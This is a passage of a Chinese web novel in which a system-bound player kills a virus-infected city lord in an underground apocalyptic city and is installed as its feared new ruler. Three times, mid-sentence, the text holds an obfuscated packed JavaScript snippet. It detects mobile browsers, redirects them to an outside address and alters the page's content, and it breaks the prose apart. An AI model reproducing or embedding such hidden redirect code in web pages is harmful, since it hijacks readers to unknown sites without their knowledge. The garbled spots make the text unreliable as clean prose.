闵朝言面无表情地收回手,默默想着。 ‘我昏迷之后,发生了什么?’ 她问系统。 「你昏迷之后,他吓了一跳,抱着你一直嚎,然后……就有一个人出现了,把你们俩捡了回来。」 系统说。 捡了回来? 直到这时,闵朝言才有余力抬眼看着自己所处的房间。 和予烬那一尘不染的实验室不同,这里看上去十分普通,就像是末日之前,最常见的居民楼房间,干净,朴素。 她抬脚轻踹开趴在自己身上的狼孩,手撑着床铺坐起来。 狼孩安静地坐在床脚,眨巴着眼睛看了一会儿,又小心翼翼地趴下来,把头搁在闵朝言的腿上,一动不动地看着她。 见闵朝言没有再踹他一脚,狼孩有点高兴,他晃了晃脑袋,像是在摇尾巴。 ‘我的感染进度加深了。’ 她和系统说。 她的左臂依然不能行动,皮肤此刻胀红发紫。 在昏迷之前就开始溃烂的地方已经被人细心用纱布包好,但不必肉眼观察伤口,闵朝言也能从那纱布里渗出的黑色血丝中看出,病毒对自己的侵蚀必定已然加深。 「阻断道具在逐渐开始失效了。我们要抓紧了!」 系统说, 可抓紧什么? 闵朝言不知道,系统也不知道。 在刚刚进入副本时,她们以为堕灵病毒对副本的侵蚀还只是刚开始,只需要按照原本的剧情,将情节掰回来,将稍有黑化的主角掰回来就可以了。 然而,真正经历过之后,她们才发现,主角已经被彻底感染,黑得发亮,原剧情不仅仅不能提供帮助,反而会误导她们。 在这个情况之下, 到底要怎么做,才能把副本“掰回来”? ‘之前的主角予烬已经彻底被侵蚀,情节也产生了很大的偏移,但是副本依然在运转,你也没有检测出问题。’ 闵朝言说, ‘所以,副本运转的核心并不是主角,也不是剧情。’ 「那还能是什么?」 系统愣了一下。 一个副本当中,永远不变的,除了已经设定好的主角和已经被规划过的剧情, 还有什么真正永远不变,永远唯一的? ‘是选择主角,规划剧情的那个存在。’ 闵朝言说。 「作者?对!作者是永远不会改变的!」 系统恍然大悟。 这个副本的作者,就是主神意识碎片。 祂决定一切,选择主角,设置剧情,不管这两者怎么换,只要祂依然有着“选择”的权力,那么祂就还是这个副本的“作者”,是这里的主人。 ‘如果堕灵想要抢夺这个副本,只感染主角是没有用的,因为主角可以被更换,祂要感染的对象应该……’ 闵朝言意识到什么,问系统, ‘主神的意识碎片,在副本中会有实体化身吗?’ 「这部分信息是高级封存状态,我现在请求权限!」 系统马上回答。 「不……怎么回事?我没办法和主系统沟通了!」 系统大惊, 「我的通讯被阻断了!」 闵朝言转头看向窗外的一片黑暗,心渐渐沉下去。 ‘看来有没有实体,已经不重要了。这个副本已经被堕灵包围了。祂现在,正在缓慢地蚕食一切。’ 她说。 如果主神意识碎片有实体, 那么堕灵只需要缓慢地感染这个副本中的一切,最终一定可以成功感染到自己的目标; 如果主神的意识碎片没有实体,只是依托于副本的虚无存在, 那么堕灵依然还是会感染这个副本中的一切——直到意识碎片无处可依,只剩下被感染这一个结果。 殊途同归。 「那我们怎么办?如果这个副本被吞噬了,我们都会死的!」 系统说。 ‘按第一种可能性,先找。’ 闵朝言说。 如果主神的意识碎片没有实体,此刻无法与主系统沟通的系统根本束手无策。 闵朝言决定先向自己更能使得上力的地方走。 “你醒了。” 房间的门被打开,一个人走进来。 是一个很年轻的男人, 剑眉星目,面若冠玉,是那种很正统的英俊,几乎每个五官都挑不出任何缺点,可偏偏,又让人记不住他的长相。 就好像,他只是一个“英俊”的概念,而非具体的一个人。 系统适时弹出他的角色面板。 「姓名:鹤棠」 「身份:“畸变末日”副本—男配一」 「年龄:未知」 「状态:正常」 「战力:76」 「黑化进度:2%」 闵朝言的视线落在那个「黑化进度:2%」上,忍不住挑了下眉。 这可真是她从进入这个副本之后,见到的最低黑化值了,唯一的个位数。 这个人的意志力……一定很强。 仙鹤一般的姿态,棠花一般的姿容,这名字很衬他。 闵朝言心想。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272339|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁?” 闵朝言问。 鹤棠站在闵朝言面前,态度很好地单膝跪下,让闵朝言可以平视着自己,声音温和: “我是‘信使’,折日已经告诉过我发生过什么了。” 他指的大概就是闵朝言如何突然出现又杀掉予烬,最后独自逃出来躲避追杀这件事。 「他是“信使”?!乱套了,真是乱套了!」 系统哀嚎。 在原剧情中,鹤棠是第一男配,和(前)男主予烬一样,他是被希望联盟收养的孤儿,和予烬从小一起长大,二人之间感情很好。 他是予烬的对照组,一个在抗争中丧失了对正义的信心,倒向强权的角色,在成年之后,他背叛了希望联盟,投奔了大反派城主。 当然,在原剧情里,他会被予烬感化,认识到爱与正义的可贵之处,冒着生命危险为予烬通风报信,成为奠定胜局的重要角色。 然而现在…… 他成为了“信使”。 在原剧情里,虽然组织“和平鸽”并不存在,但“信使”这个角色却是存在的,他是曾经大反派手下的一名研究员,帮助大反派研究出了“畸变病毒”。 然而,在人类因此进入末日后,他因为无法承受良心的拷问从大反派手下逃了出来,躲在地下城的角落里。 纵观副本,信使是一个引导型角色,负责为予烬提供暂时的庇护和重要的线索: 庇护,指的是予烬第一次离开希望联盟之后无家可归的短暂时间。 而重要的线索,指的是 ——畸变病毒的出现和爆发,并非天灾,而是人祸。 “折日说,你可以帮我。” 闵朝言问。 “嗯,我可以,我也愿意。” 鹤棠,也就是“信使”点头。 他的态度好到过分, 让人很难相信他是一个统领着地下城最神秘组织的首领。 闵朝言更加心生警惕。 比起明晃晃的狠辣角色,一个能够坐稳高位的温和好人才更应该小心防备。 当好人总是更难的, 不管在什么位置上。 “你打算怎么帮我。” 闵朝言问,对着他伸出自己的左臂, “你看到这个伤口,应该知道我已经感染了。” “你不问问我为什么帮你?真是聪明人从不说废话。” 鹤棠笑了一声,他的态度熟稔,为闵朝言盖上被子,亲昵中带着关切,仿佛和闵朝言已经是相交多年的老友。 “你的伤口是我包扎的,我能看出来你已经感染了。 但这正是我要帮助你的原因,我从未见过,一个人可以在这样严重的感染下,撑到现在。” 鹤棠看着闵朝言的眼睛,很认真地说, “你很强大,所以,我相信你会是我们的机会。” “什么的机会?” 闵朝言开口。 “终结这一切的机会。” 鹤棠的眼神凝重,双手握成拳,良久,叹了一口气, “我曾经以为,予烬可以带我们走向结局,但他最后输给了欲望。” “他太想拯救所有人了。” 他的声音里带着深沉的遗憾。 拯救所有人? 闵朝言有些疑惑。 「前男主不是已经黑透了吗?我看他毁灭世界还差不多。估计这个男配也是被骗的吧。」 系统说。 闵朝言心中却有种不同的预感。 “为什么?” 闵朝言忽略自己心跳时,左臂传来的抽痛,开口问。 “因为这一场畸变,不是人祸,是天灾。” 他说。 8. 暴君与地下城(8) 天灾? 鹤棠的这个表述,恰恰好和之前剧本里的设定完全相反。 在原剧情中,“信使”收留了予烬,并且告诉他,畸变病毒的产生并非是一场莫名其妙的天灾,而是蓄意毁灭的人祸。 从这个节点开始,予烬才开始真正接触地下城的黑暗过往,揭开被尘封的秘密。 而此刻,闵朝言的面前也站着一位不同的“信使”,但他说的却是: 这不是一场人祸,而是天灾。 闵朝言沉思。 从人祸到天灾,这其中的改变从何而来。 其实细想也不复杂, 之前在剧情里中的灾难性病毒是“畸变病毒”,那是一个由大反派研发出来的人造病毒;而现在的副本…… ‘堕灵病毒显然远远强于畸变病毒,它已经将畸变病毒吞噬了。’ 闵朝言对系统说。 「不会吧?剧情已经崩到这个地步了吗?病毒都没了?那反派还成立吗?没有了大反派故事怎么发展啊?!」 系统愣了。 在一个故事中,大反派的重要丝毫不逊于主角。 TA承载着故事的暗线,是灾难的发起者,是主角需要打败的目标,TA与TA所做下的恶行,是整个故事的基石。 甚至有的时候,比起需要坚持爱与正义的主角,大反派才是真正的灵魂角色。 而在原剧情中,那位城主大反派就是一个这样的角色, 他狂热,冰冷,极度天才,却是一个崇尚毁灭的疯子。 为了研制畸变病毒,他不惜用全人类的命运来做实验,将自己的亲生孩子予烬进行基因编辑,当成实验耗材。 一个完美的疯子。 因此,尽管他犯下的罪恶罄竹难书,是一个实打实的大反派,但他在玩家论坛的角色热度角逐中常年占据前列,甚至能超过主角予烬。 然而在现在已经被扭曲的剧情中,这位幕后boss所做的一切都已经被一键清空——毕竟畸变病毒已经不复存在了。 一个人用二十年时间毁灭世界,那么他是一个邪恶大反派; 一个人用了二十年时间想要毁灭世界,结果发现自己的终极武器居然直接消失了……那么他是一个笑话。 大反派可以坏,可以狠,可以疯狂无序毁灭一切, 但是,绝对不可以没有“格调”。 「哇,顶级反派变小丑了……」 系统有气无力,它已经彻底放弃纠正剧情了。 什么剧情,不存在的? 什么主角反派?爱咋咋地! ‘我有一个想法。’ 闵朝言勾起唇,眼中浮现满满兴味。 这是她锁定猎物的眼神。 “我听说这一任城主,是杀了上任城主,然后上位的。” 闵朝言说。 鹤棠听着,点了点头: “是,他杀死了上任城主,抢到了‘太阳’的钥匙。” “那如果我杀了他,我也可以做城主吗?” 闵朝言看着他的眼睛,露出一个轻快的笑容,问道。 在地下城中, 尽管有各种势力林立,权力结构错综复杂,但不管地下如何争斗,这座城市的主人一直不变: 城主。 或者说,掌握着“太阳”钥匙的人。 地下城中没有自然光, 所有的光源都来自于一个城市中的巨大人造灯,人们将其称之为“太阳”,当灯光被调暗的时候,就自然成为了“月亮”。 这座人造灯是第一任城主的发明,他正式因此才获得了这座城市主人的地位。 然而,就在五年前,他被杀死,现任城主从他的尸体中抢走了“太阳”的钥匙,获得了现在的地位。 作为这座城市中最强大的人之一,现任城主有着极强的战斗力, 即使不像前任城主一样有一群极其忠诚的人为他效力,现任城主身边也不缺乏因为力量而追随其中的下属。 “这个人基本是个明牌的畸变者了。” 鹤棠说。 进入副本到现在,闵朝言终于遇见了一个和原剧情里相符合的情节: 鹤棠如今是城主麾下,只不过不是研究员。 “我可以带你去到城主居所,不过,我不认为你能打赢他。” 鹤棠的答案很直白。 闵朝言也知道这一点, 不过,她本来也不打算纯靠武力值解决这个问题。 —— 地下城·城主居所 身材魁梧的男人坐在沙发上,喉结滚动咽下烈酒,把酒杯直接砸在脚下踩着的笼子上。 笼子通体黑色, 里面锁着一个半大少年,笼内逼仄,甚至没有空间让胸膛呼吸起伏。 玻璃碎裂落在皮肤上,划出一道道狰狞伤口,又在下一秒愈合。 “杂种,你叫一声,老子就给你吃饭。” 魁梧男人狞笑,用力朝铁笼踩下,金属震荡声中,笼子上足有手指粗的钢筋逐渐变形。 “叫啊!杂种!你给老子叫!” 陌生脚步传来,由远及近,半点不掩饰自己的踪迹。 魁梧男人,猛地抬起头来,拿起桌上的另一个酒杯将前掷去! 破空声中,一只手稳稳接住了那只杯子,是鹤棠。 “鹤棠?你现在过来干什么?” 魁梧男人醉醺醺的声音中,有点疑惑,随后,他看到鹤棠身边站着一个陌生的面孔。 “你好啊,现任城主。” 闵朝言微笑着和他打招呼。 “你是什么东西?!鹤棠,你这是要造反吗?!” 城主看到眼前的一幕,脸色发黑,肢体紧绷,明显戒备起来。 「这是城主?等等,不对劲啊!」 系统惊讶。 ‘什么意思?’ 闵朝言问。 在她眼前的,是属于魁梧男人的信息栏: 「姓名:吴城」 「身份:“畸变末日”副本—路人npc——信息错误!(已更新)现任城主」 「年龄:未知」 「状态:感染」 「战力:91/100」 「污染进度:100%」 100%感染值…… 闵朝言愣了一下,这是她进入副本之后,遇到过的最高感染值。 而且 ——这个城主的名字不对啊!哪有超级大反派叫吴城的,这么土的名字! ‘这不是原剧情中的大反派。’ 闵朝言皱起眉。 「好嘛,之前的传奇反派现在不仅仅是笑话,还是个死人了。」 系统垂头丧气。 但闵朝言冥冥中觉得, 事情似乎没有那么简单。 “我很抱歉,不过,我必须服从她的指令。” 鹤棠说着,向后退一步,让闵朝言站在了自己前方。 “呵,一个女人,就能让你这么神魂颠倒?” 吴城冷笑,想要再说什么,却被闵朝言直接打断。 “我叫闵朝言,最近需要小小拯救一下世界,正好需要一个城主的位置,” “不如你去死,送给我吧。” 她说着,笑容真诚,语气轻快: “反正这个位置,本来也不是你的。” “口气不小啊。” 吴城怒目瞪向眼前的女人,语气阴森,显然已是怒极,拧笑着握紧双拳, “你想要我的位置,那就拿命来换好了!” 他出拳速度极快,肉眼甚至已经几乎看不清移动轨迹,只有猎猎破空声传来。闵朝言向侧身避过,右手顺势拿起桌上的一把匕首应对,可当兵器与皮肉相交时,刀刃居然被瞬间打碎! 闵朝言看着眼前一缕黑发散落——那是被拳风削下来的。 看来,这人能以如此暴戾的性格在地下城作威作福,也是有真本事撑着的。 闵朝言扔掉已然报废的匕首,感到血液因战意沸腾。 然而,下一秒左臂传来的剧烈抽痛又将她的战意压了下去。 该死的堕灵, 闵朝言心中暗骂。 城主的攻势极其猛烈,闵朝言步步后退,余光落在不远处的铁架子上。 就在拳头即将锤到闵朝言心口前,城主的动作突然停住,半空中的黑发也被定在原地。 怎么回事? 时间,被暂停了。 不,应该说,这个世界都静止了,连空气中的尘埃都不再流动。 这是系统的杰作吗? 它居然能做到这个地步,闵朝言暗暗心惊。 「我不知道你的计划是什么,但不管是什么,现在都要用了!」 系统的声音急切。 「我是透支积分使用的紧急时停,你只有三秒钟!」 三秒钟。 三秒钟可以干什么? 对于一个普通人来说,这也许只够拿起放在眼前的武器, 对于一个经过训练的战士来说,这却已经足够终结一条性命。 即使左臂受伤几乎无法动弹,战力值锐减,但闵朝言依然是《物·源》中最强大的玩家之一, 三秒钟,足够她用手中的匕首割断吴城的大动脉,甚至割下他的头颅。 但她没有这么做, 她的第一刀,刺进了自己的血肉里, 正在她感染中毒已经开始溃烂的左臂上。 「你在干什么!?」 系统大惊。 ‘我想验证自己的一个猜测。’ 剧痛之下,闵朝言勉力平静,但尾音依然不可控制地带上一丝颤抖。 匕首闪着寒光,划开渗血的纱布,挖出一块肉,溃烂着,被塞进了吴城的嘴里。 利刃划开他的嘴巴两边,魁梧男人却呆呆站在原地,场面荒诞而恐怖。 三秒钟,结束。 感染蔓延的速度极快,吴城大口咳出黑血,他甚至反应不过来自己身上到底发生了什么,就已经双膝跪地,倒在地上。 “你、怎么…会……” 他不可置信地看着眼前的女人,问出一个自己永远不会得到答案的问题, 然后,睁着眼睛,停止了呼吸。 他死了。 快速地,无可逆转的,真正的死了。 闵朝言看着吴城躺在地上的尸体,神色竟然有点恍惚。 她要的答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272340|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经得到了,但这并没有让事情变得更好哪怕一点。 吴城是堕灵病毒的感染者,感染程度100%,这证明他已经被彻底感染,身体完全向病毒臣服。 在这个前提条件下,更多更深的病毒也许会加深他的畸变,也许会狂化他的畸变, 但无论如何,不可能也不应该,直接杀死他。 那个闵朝言一直疑惑的问题终于有了答案, ——杀死吴城的不是高浓度的堕灵病毒,而是闵朝言自己。 我……到底是什么? 闵朝言感觉到自己的心跳声渐渐放大,从左胸口,到左边手臂,一直到大脑中的咚咚声。 「成功了!你用畸变病毒杀死他,太聪明了!」 系统小声欢呼。 “他死了。” 鹤棠蹲下,谨慎地再次探查了一遍吴城的气息,终于下定了结论。 “那么,我是新的城主了吗?” 闵朝言问。 “……我没有找到‘钥匙’。” 鹤棠的声音凝重起来。 他说的,指的就是那个用来控制地下城中,人造太阳的钥匙。 人造太阳是地下城的命脉,掌握了它,就掌握了这座城市。 这样重要的东西,任何人都不会假手于人。 但地下城曾经的“主人”,这座城池的城主吴城, 居然没有钥匙? 那他还算是真正的主人吗? 那个至关重要的钥匙,又在谁哪里? “把他被杀的消息放出去,告诉所有人,我的就任仪式会在明天早上。” 闵朝言说。 “但是如果那个人出现……” 鹤棠皱眉。 闵朝言骤然出现,以杀上位,即使有着鹤棠的支持,也本就不可能服众。 如果那个人出现,手拿钥匙,反对闵朝言, 事态会变得非常棘手。 闵朝言并非不知道这一点。 她不是冲动的性格,也知道自己现在最好的选择绝不是直接站上高台成为众矢之的。 不,可以说, 从被迫绑定系统,进入这个副本之后,她就一直没有做出过最佳选择, 不是她不知道, 只是没有选择。 最佳的路线需要时间,她偏偏最没有的就是时间。 [51:49:05] 副本时间还在倒数, 故事即将走向崩塌。 “没关系,我等就是TA来找我。” 闵朝言按住自己的伤口,神色平静坚定。 鹤棠转身离去,安排一切。 闵朝言独自坐在月光下。 夜色中,她身上的血迹被染上一点莹莹的蓝色,竟有种圣洁之感。 说月光,其实也不是真的月亮,那只是被调暗了的模拟太阳,在夜晚时,它就会成为“月亮”。 这是地下城中最奢侈的“自然光”了。 系统自虚空中看着她。 无端端地,想起一个词,那是它在来自某一个已经毁灭文明的资料库中看到的: 以杀救度。 闵朝言正在看自己的玩家版面。 [闵朝言] [玩家身份:系统绑定任#务*者/*&^] [当前身份卡设定:地下城的新城主] [备注:恭喜你,作为(曾经)一个出场就死掉的路人NPC,果断地杀掉了愤怒的(现任)城主呢!] 身份卡会变,这不稀奇。 [玩家积分:1000] [拥有道具:sss级武器·溺亡者;净化道具·痛痛快停下!(已使用)] [游戏商城:未开启(1/30)] 但积分的变动,就很有意思了。 如系统所言,闵朝言作为玩家如果想要获得积分,必须通过“净化副本”的方式,即掰正剧情,净化主角等等方式,才能获得积分。 而她刚刚获得了一千积分。 但“作为路人甲NPC杀死现任城主”这种行动,无论如何都不可能被归类为“掰正剧情”。 「咦?这个积分为什么变了?」 系统也疑惑地出声。 看来系统也不知道这个积分是从何而来。 也就意味着,就连系统自己都不理解它的积分机制是如何操作的。 闵朝言沉默思考着,垂下眼。 有一瞬间,有什么想法在她的脑海中掠过,然而转瞬即逝,她自己也没有抓住。 “哗啦……哗啦……” 什么声音? 闵朝言转头看去,声音的来源是一个漆黑的笼子,那里面蹲着一个瘦骨嶙峋的少年,身上散发着血液干枯之后的腥臭气息,她下意识皱起眉。 「姓名:——#姓名读取错误!」 「身份:“畸变末日”副本—%角色读取错误!」 「年龄:未知」 「状态:狂躁」 「战力:*&战力值读取错误!/100」 「污染进度:——污染进度读取错误!」 这个信息界面居然和狼孩几乎一致。 尤其是,“读取错误”这一项。 9. 暴君与地下城(9) 他是谁? 闵朝言看着被关在狭小笼子中的少年男孩,微微皱起眉。 和狼孩几乎完全一致的信息页面, 这也是个未完成角色吗? 这个副本到底还有多少漏洞? 那个主神的意识碎片到底是睡得多沉才能搞出这种产物啊?! 闵朝言很少骂人,但她现在真的有点不爽。 “……救,救我。” 忽然,一个极其微弱的声音浮起,与其相反的,却是一只飞快抓住笼子边缘的手,瘦骨嶙峋,却带着极其执拗的力道。 闵朝言没打算理会他,却在听见少年的下一句话时顿住了脚步。 “救救我……主人。” 他说。 —— 地下城又有了一位新的城主。 大家争相议论着这件事,当然,是在昏暗的影子里,寂静的酒馆里,一声声被压到最低的窃窃私语里。 毕竟,谁也不知道这个新城主是什么样的人,唯一知道的,是她杀了吴城。 那个旧城主,吴城。 他喜欢杀人,喜欢折磨自己的俘虏, 在地下城里,这不算是什么大事,许多权贵都有这样的爱好。 让人们最恐惧的,是作为城主,他选择“玩具”的兴趣太广泛了。 一般权贵会盯上的,无非就是自己身边的人,人们只需要小心避开他们的目光,就能保全一条性命。 但吴城不是这样的,他兴起时,甚至会让手下在街上随意抢人。 他对玩具没有特定喜好,男女老少都不在意,他只喜欢“钻研”那些手段, 抽打,火烧,剥皮亦或在眼眶中灌入水银…… 只要他想, 任何人都是他的玩具,任何人都可以被这样对待。 这个新的城主,也会有这样的权力吗? 人们瑟瑟发抖地,互相问着自己早已经知道答案的问题。 在遍布了地下城的阴影中,他们努力将自己的身体蜷缩得更小一些,更不显眼一些。 但新城主的就任仪式,再想要蜷缩起来的人,不敢不来。 恐惧就是这样,没有道理,无法违背。 闵朝言站在高台上。 这里是地下城唯一的行刑台,石头高高堆起来,足以让上面的人被所有人看到。 她蹲下,伸出手摸着石头上面被火焰灼烧出的裂痕。 那上面的痕迹狰狞重叠,仿佛是某种扭曲虫子尸体被交错着压在了一起。 “人都到了?” 闵朝言问。 鹤棠站在她身后,开口说: “是的,他们都为了您而来。” “为了见我,还是为了杀我?” 闵朝言打趣。 “为了知道以后自己的噩梦,由谁主演。” 鹤棠微笑着回答。 “那可真是殊荣。” 听到这个答案,闵朝言笑了一声。 人群在低处聚集,黑压压一片,看不清任何一个人的长相,他们发出的声音混在一起,细碎不清。 在地下这样苟延残喘着,在无可避免的危机之下拼命努力也不知道自己究竟可以活到哪一个明天。 人类和老鼠, 好像其实也没有区别。 到了生死关头,不管是自诩文明进化的人类,还是老鼠虫豸,本质上都是一样的,也都会做出没有任何分别的选择: ——活下去, 不顾一切地,活下去。 “这就是新城主?” “看上去好年轻……没有吴城那么吓人。” “她会不会好相处一点?” 这是战战兢兢在猜测的。 “这么年轻就能杀了吴城?好可怕。” “我们走吧,別触霉头了。” “还是听一听,万一有事呢。” 这是在谨慎观察的。 “真漂亮啊……” “这么年轻的女人能杀了吴城,不会是在床上……” “闭嘴,小心她听见!” 这是不知死活和不想被连累的。 「果然是副本世界,不管是什么时候都一定会有不知死活的炮灰冒出来。」 系统吐槽。 确实,如果在现实世界,再嘴贱的人都不敢在这样的场合出声犯贱。 ——最多在网上发帖找骂。 只有副本世界里,才必然会有这种嘴贱NPC出声叫嚣,方便主角打脸或者反派拉仇恨。 “这么多人她听见什么?再说了,我说的难道不是真话?这么好看的女人,肯定早就嘿嘿——” 嘴贱NPC还在忠实履行自己的设定,直到他的脑袋突然被一片石头切开,直接掉在地上。 闵朝言晃了晃手腕,有点不满意的样子,自我反思: “不习惯用右手,角度不对,带了一截脖子下来,好丑。” 在她的审美里,一颗头干干净净地落地,那才算是命中。 人头落地,激起一阵灰尘, 和血液一起喷涌而出的还有恐惧。 “啊——!!!” 尖叫声,脚步声,一场恐惧引起的骚乱即将爆发,然而就在那之前一秒,骚乱的人群中,出现了一个个带着面具,手持武器的黑衣人。 “是‘和平鸽’!他们来了!” 人群中爆发出带着惊喜的声音。 在地下城的三个势力中, 吴城崇尚暴力血腥,以武力镇压;希望联盟连接紧密,但极其排外;只有神秘的“和平鸽”算是和民众们站在一起,会给予他们一定的保护。 和希望联盟的“家人关系”不同,和平鸽是绝对的上下级组织,所有的成员,都对“信使”抱有无上的忠诚。 因此,尽管吴城是名义上的城主,但真正在这座城市中有着控制权的,却是“和平鸽”,以及它的领导者“信使”。 “信使大人,是信使大人!” 人群中有声音高呼。 闵朝言转身一看,鹤棠不知何时已经戴上了象征着“信使”身份的面具,同样的白鸽面具,只是眼角边多了数条金色的花纹。 “他是来砸场子的吗?” 有人低声问。 不止一个人有这样的疑惑,像微雨一样的议论声又起来了,很微弱,但无法被抹去。 “信使大人!我们支持你!” 突然,有一个人高声呼喊道。 “信使大人!” “信使大人!” “我们愿意跟随信使大人!” 呼喊声一声声叠加,黑压压的人群汇聚出声浪。 吴城死了,新的城主也许没有那么暴戾,也许没有那么可怕! 说不定,她是可以被推翻的! 说不定,他们可能推翻她! 声浪忘情地呼唤着一个真正仁慈的“主人”, 全然忘记了上一个冒犯她的人,此刻头颅已经和身体分家,鲜血将地上的尘土都浸染。 「怎么办怎么办?鹤棠不会真的要背刺你吧?」 系统有些紧张。 闵朝言面上神色不变,看不出一点慌乱,眼中甚至浮现出淡淡笑意。 然而,在她背后手中,“溺亡者”的鞭影渐渐浮现,随时准备出战。 “看来今天这个就任仪式,不一定是我的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16272341|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她看向鹤棠,眼神锐利专注。 顶着几乎将人刺穿的视线,鹤棠没有说话, 沉默在高台之上蔓延。 “信使大人!信使大人——信使……大人。” 浪潮一样的呼声渐渐停下,也许是因为他们发现了,那些带着鸽子面具的“和平鸽”们,没有加入他们忘情的呼喊。 “怎么会呢。” 鹤棠终于开口,一如既往地,是那样温和的笑意,亲昵而优雅。 他一步步走向闵朝言。 鹤棠实在不像是在地下城里生活着的人, 他一身白衣,脸上的白鸽面具用金边花纹描绘图腾,身材挺拔,一双腿长而笔直,迈出的每一步,都如同仙鹤般,有种高洁优雅之态。 这只高洁的鹤走到闵朝言身前,单膝跪下,头深深垂下,露出洁白如玉的后颈, 献上性命的,最高的忠诚与臣服。 “这是您的仪式,” “这是您的城池,” “我和这座城池一样,完全地臣服都属于您。” 他说。 仙鹤低下高傲的头颅,这是他第一次,也是生命中唯一一次, 宣告自己的忠诚。 所有的和平鸽全部随着他的动作单膝跪地, 他们向自己的新主人宣誓效忠。 声浪被吹散,死一般的寂静在城中蔓延,那些已经熄灭的声浪们,个个都恨不得有人能够给刚才的自己灌一碗哑药。 滚落在地上的头颅,鲜血已经流干了,人们终于注意到了它的存在。 人群再一次骚动起来,这一次,是因为恐惧。 恐惧很安静,没有声音,也不会停止。 一个,又一个,人群矮了下去, 如同他们跟随着第一个呼喊的人而呼喊,此刻他们也跟随着第一个跪拜的人而跪拜。 闵朝言看着这一切发生。 她觉得很有趣。 “我是你们的新城主,” “我在找一个东西。” “找到的人,奖励你们……” “活下去。” 她笑着说。 说完这句话,她转身离开。 她只说了三句话,只杀了一个人。 她甚至没有因为人群的呼喊而愤怒,而杀人, 只是平静地接受了“和平鸽”的朝拜。 可她带给地下城的恐惧, 却比杀了千百人的吴城要深得多得多。 吴城再暴虐,再恐怖, 终究还算是一个人,只是一个可怕一些的人。 但是她呢? 她……是什么? 而和平鸽,和平鸽…… 第一个跪下的是个女人,她刚才没有加入呼喊的浪潮,她从一开始就紧紧盯着高台上的闵朝言。 和平鸽不再是他们的保护者了。 脸上带着狰狞伤痕的女人心想着,露出充满了期待的笑容。 新的城主, 会带来末日。 她坚信着。 人造太阳的光芒渐渐熄灭,人群也逐渐散去,小巷中,一个戴着兜帽的身影呆呆伫立。 “我们该走了。”有人提醒。 那人却恍若无闻,只默念着: “找一个东西,找一个东西……” “你说,她要找的会是我吗?” 他喃喃道,语气中充满了热切的渴慕。 兜帽下,一张秀美又绚烂到极致的美丽面容上,带着稚童一般天真烂漫的笑容。 他瘦削的手臂上, 一道深可见骨的伤口正在缓缓愈合,藏起那涌动着的浅蓝色血液。 10. 暴君与地下城(10) 地下城迎来了一位暴君, 她要找一个东西。 什么东西? 人们问。 前往集会的底层人民是最快开始寻找的, 因为他们清楚,如果有人要死,他们会是最先开始要死的。 是珍贵的财宝吗? 人类进入末日多年,在地下城里苟延残喘,他们已经没有任何的财宝了。 是强大的武器吗? 在面对强大畸变怪物时,人类已经用尽了自己所有的强大武器,现在就连一把枪,都是黑市里的顶级珍品。 那还有什么? 这座破败,贫瘠,了无生机的地下城里,还有什么是值得被寻找的? 人们掀翻了自己所拥有的一切, 一个个被挖开的半地下室里一片狼藉,街上的摊子在争抢中所有的物品落在地上粉碎, 粮食? 不对,城主怎么会吃这些已经馊掉的陈米; 衣物? 不可能,城主怎么会穿这些已经缝缝补补过千百遍的破布; 还有吗? 破烂不堪的“家”,会将嗓子撕裂的“饭”,不知道自己还算不算得上的“人”。 在一阵迷茫之后,人们开始看着四周的一切,心中浮现起这个问题: 这里还有什么……值得生活的? 我这样的人生,到现在还算是活着吗? 她呢, 那个新上任的城主, 只需要一个笑容就让整个地下城开始颤抖的暴君, 她想要的, 到底是什么? “你想找的是什么?” 鹤棠问。 闵朝言回到城主的居所, 已经有“和平鸽”将整座房子上上下下打扫干净,连一应家具都换上了新的。 她坐在真丝床单上,没有回答,只是对着鹤棠抬起自己的左手,神色显得有些倦怠。 “你有没有止痛剂?” 闵朝言问。 鹤棠单膝跪下,抬手解开她左臂上的纱布,看着溃烂的伤口,轻叹一声,竟然显得极为痛心一般: “感染加重了。” 闵朝言忽然生出一点恶趣味,用已经不太能自如行动的左手勾住他的下巴,迫使男人的视线对着自己。 ? 鹤棠眨了眨眼,那张英俊而正直的脸上,恰到好处地出现了一些疑惑。 “怕吗?” 闵朝言用僵硬的手指抚摸过他的脸,笑着问他。 “……怕。” 鹤棠点头。 “今天的这场戏,是你安排的。” 她忽然说。 「什么?」 系统没听明白。 “最开始高声支持你的那个人,和刚才铺床单的那个‘和平鸽’,手的形状一模一样。” 闵朝言说着,附身凑近鹤棠,视线盯着他的眼睛,不错过一丝一毫的表情变化。 “你离我这么近,我会想亲你。” 鹤棠忽然笑了下。 …… 闵朝言的动作顿住了。 好诡异。 